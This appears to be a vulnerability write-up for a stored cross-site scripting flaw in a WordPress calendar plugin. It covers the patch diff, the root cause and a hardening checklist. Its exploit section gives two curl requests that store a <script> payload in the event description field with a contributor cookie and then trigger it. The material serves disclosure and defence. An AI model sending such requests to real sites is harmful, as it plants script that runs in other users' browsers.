The Exploit
Authenticated attacker with Contributor-level access (or higher) can persist JavaScript in event_desc and trigger it when a calendar page is viewed.
## Store the malicious event description
curl -i -k \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "Cookie: wordpress_logged_in_example=AUTH_COOKIE_VALUE" \
-d 'event_title=Stored+XSS&event_desc=<script>alert("xss")</script>&event_begin=20260101&event_end=20260101&event_time=12:00&event_recur=none&event_repeats=0&event_category=1&event_link=&_wpnonce=NONCE_VALUE' \
'https://TARGET/wp-admin/admin.php?page=calendar&action=save'
## Trigger the stored payload by loading the calendar page
curl -i -k \
-H "Cookie: wordpress_logged_in_example=AUTH_COOKIE_VALUE" \
'https://TARGET/wp-admin/admin.php?page=calendar'
The first request stores a calendar event whose event_desc contains a <script> payload. The second request returns HTML that includes the injected script, which would execute in the browser of any user who visits the calendar page.
What the Patch Did
Before:
$title = !empty($_REQUEST['event_title']) ? stripslashes($_REQUEST['event_title']) : '';
$desc = !empty($_REQUEST['event_desc']) ? stripslashes($_REQUEST['event_desc']) : '';
$begin = !empty($_REQUEST['event_begin']) ? $_REQUEST['event_begin'] : '';
$end = !empty($_REQUEST['event_end']) ? $_REQUEST['event_end'] : '';
$time = !empty($_REQUEST['event_time']) ? $_REQUEST['event_time'] : '';
$recur = !empty($_REQUEST['event_recur']) ? $_REQUEST['event_recur'] : '';
$repeats = !empty($_REQUEST['event_repeats']) ? $_REQUEST['event_repeats'] : '';
$category = !empty($_REQUEST['event_category']) ? $_REQUEST['event_category'] : '';
$linky = !empty($_REQUEST['event_link']) ? $_REQUEST['event_link'] : '';
After:
$title = !empty($_REQUEST['event_title']) ? wp_kses_post(wp_unslash($_REQUEST['event_title'])) : '';
$desc = !empty($_REQUEST['event_desc']) ? wp_kses_post(wp_unslash($_REQUEST['event_desc'])) : '';
$begin = !empty($_REQUEST['event_begin']) ? wp_kses_post(wp_unslash($_REQUEST['event_begin'])) : '';
$end = !empty($_REQUEST['event_end']) ? wp_kses_post(wp_unslash($_REQUEST['event_end'])) : '';
$time = !empty($_REQUEST['event_time']) ? wp_kses_post(wp_unslash($_REQUEST['event_time'])) : '';
$recur = !empty($_REQUEST['event_recur']) ? wp_kses_post(wp_unslash($_REQUEST['event_recur'])) : '';
$repeats = !empty($_REQUEST['event_repeats']) ? wp_kses_post(wp_unslash($_REQUEST['event_repeats'])) : '';
$category = !empty($_REQUEST['event_category']) ? wp_kses_post(wp_unslash($_REQUEST['event_category'])) : '';
$linky = !empty($_REQUEST['event_link']) ? wp_kses_post(wp_unslash($_REQUEST['event_link'])) : '';
The patch replaces raw $_REQUEST consumption and ineffective stripslashes() cleanup with WordPress input filtering via wp_kses_post() and wp_unslash(). This adds data sanitization before the plugin saves or renders calendar event fields.
Root Cause
This was CWE-79: Stored Cross-Site Scripting. The plugin took attacker-controlled input from $_REQUEST['event_desc'] (and other event fields) and passed it through only stripslashes() before it was persisted and later injected into a rendered calendar page. stripslashes() does not neutralize HTML or JavaScript, so a contributor could store <script>...</script> in event_desc, crossing the boundary from attacker-controlled request data into browser-rendered HTML without escaping.
Why It Works
The load-bearing fix is the wp_kses_post(wp_unslash($_REQUEST['event_desc'])) line. wp_kses_post() filters HTML to allowed tags and strips executable payloads, so the malicious <script> payload cannot survive the submission. Without that line, the same stored XSS remains exploitable. The wp_unslash() call is also necessary in WordPress contexts because incoming request data may be slashed; it ensures the sanitizer operates on the actual payload text instead of an escaped variant. The remaining patched lines apply the same defense consistently across all calendar event fields.
Hardening Checklist
- Use
wp_kses_post()or a more specificwp_kses()whitelist when saving or outputting rich text from user-supplied fields. - Always apply
wp_unslash()before sanitizing$_POST/$_REQUESTvalues in WordPress admin handlers. - Protect form actions with
wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['_wpnonce'])))and checkisset($_POST['_wpnonce'])first. - Restrict calendar event management to authorized roles with
current_user_can()on every save/update path. - Escape data at render time too, using
esc_html(),esc_attr(), orwp_kses_post()depending on output context.
References
- https://nvd.nist.gov/vuln/detail/CVE-2025-14548